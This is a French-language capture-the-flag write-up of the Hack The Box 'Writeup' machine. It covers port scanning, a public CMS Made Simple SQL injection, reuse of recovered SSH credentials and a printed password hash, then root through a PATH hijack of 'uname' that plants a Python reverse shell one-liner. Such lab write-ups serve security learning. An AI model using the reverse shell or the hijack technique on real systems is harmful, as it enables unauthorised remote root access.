HACK THE BOX – WRITEUP – WRITEUP MACHINE

HACK THE BOX – WRITEUP – WRITEUP MACHINE

Une machine intéressante avec des rabits holes à éviter. Pour prendre le contrôle de cette machine les techniques utilisées sont simple. Il faut juste être attentif à tout ce qui se passe.

Première étape, réalisons un nmap de cette machine pour savoir quel service explorer.

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-16 10:48 CEST
Nmap scan report for writeup.htb (10.10.10.138)
Host is up (0.15s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-title: Nothing here yet.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   148.70 ms 10.10.14.1
2   148.69 ms writeup.htb (10.10.10.138)

Nous avons un serveur web et un serveur SSH disponibles. Commençons par nous rendre sur le serveur web.

Ok rien de vraiment intéressant sauf l’indication qu’un système anti DDOS est présent sur la machine. Si nous lançon un gobuster ou autre afin de trouver des fichiers disponibles sur le serveur, notre IP se retrouve bannie pour plusieurs minutes.

Nmap nous indiquait un dossier writeup. Regardons aussi le fichier robots.txt.

Ce fichier nous permet donc de découvrir un dossier writeup. Connectons nous dessus ce qui nous amène à ça :

Nous pouvons parcourir toutes les pages rien d’intéressant. Nous pouvons trouver en testant manuellement des dossiers et fichiers connus l’url http://10.10.10.138/writeup/admin qui malheureusement possède une basic authentification que ne nous pouvons bypasser.

Regardons le code source de la page :

Ce site est réalisé grâce à CMS Made Simple. Recherchons alors des exploits connu pour ce CMS. Nous trouvons un exploit de type SQL Injection permettant d’extraire les utilisateurs et password (https://www.exploit-db.com/exploits/46635).

Récupérons le code Python et testons. L’exploit fonctionne et nous permet de récupérer les informations suivante :

Avec ces informations il nous est toujours impossible de se connecter sur l’admin. Comme le service SSH est ouvert sur la machine essayons de s’y connecter avec jkr et raykayjay9.

La connexion fonctionne. On ne rappellera jamais assez l’importance d’utiliser des mots de différents pour les différents services que nous avons. Nous pouvons donc lire directement le flag user sans aucune difficulté.

Passons maintenant au flag root. Nous téléchargeons sur la machine LinEnum et nous le lançons. Rien de particulier à voir.

Je commence un peu à fouiller sur le serveur.

jkr@writeup:/etc/apache2$ cat passwords 
jkr:$apr1$zXpnkbX6$LPzyE8Wa0d1yNQ4/F8aQa.
jkr@writeup:/etc/apache2$ 

Nous trouvons le fichier contenant la hash du password utilisé pour l’admin du site. Cependant nous ne pouvons deviner le mot de passe. Avec ce fichier.

Après plusieurs recherches je télécharge pspy64 sur la machine et regarde les processus.

En observant ces processus nous nous rendons vite compte que quand un utilisateur se connecte à SSH une suite de commande est lancée.

Ce qui attire ici mon attention c’est le lancement de la commande de

CMD: UID=0    PID=2762   | /bin/sh /etc/update-motd.d/10-uname 

Cette commande est lancée en tant que root. Regardons alors le contenu de ce fichier :

jkr@writeup:/tmp$ cat /etc/update-motd.d/10-uname
#!/bin/sh
uname -rnsom

Ce script lance donc la commande uname. Pouvons-nous usurper cette commande pour lancer un reverse shell à la place. Regardons les dossiers dans lesquels nous pouvons écrire :

kr@writeup:/etc/perl$ find / -type d -writable 2> /dev/null
/proc/4513/task/4513/fd
/proc/4513/fd
/proc/4513/map_files
/var/local
/var/lib/php/sessions
/var/tmp
/usr/local
/usr/local/bin
[...]

/usr/local/bin est writable !!!! Ce dossier est contenu dans le PATH. Donc si nous créons un script uname dans ce dossier il sera exécuté à la place de l’original !

Créons donc un reverse shell dans /usr/local/bin/uname :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ne reste plus qu’a lancer un listener sur notre machine avec nc -lvnp <PORT>

Connectons nous avec un second terminal sur la machine. Notre fichier uname est alors exécuté, le reverse shell lancé et se connecte à notre machine avec les droits root.

Conclusion de tout ceci. Cette machine est simple. L’exploitation utilise des techniques de base. Nous pouvons retenir plusieurs leçons. Toujours mettre à jour les logiciels que nous utilisons. L’exploitation de PATH pour l’escalation de privilège est une technique de base. Elle est rendu ici disponible à cause d’une mauvaise configuration. Il ne faut jamais négliger nos configurations. Aussi nous pouvons encore une fois faire attention à la manière dont nous utilisons nos password. Il ne faut pas mettre les mêmes mots de passe pour tous les services.

Les commentaires sont clos.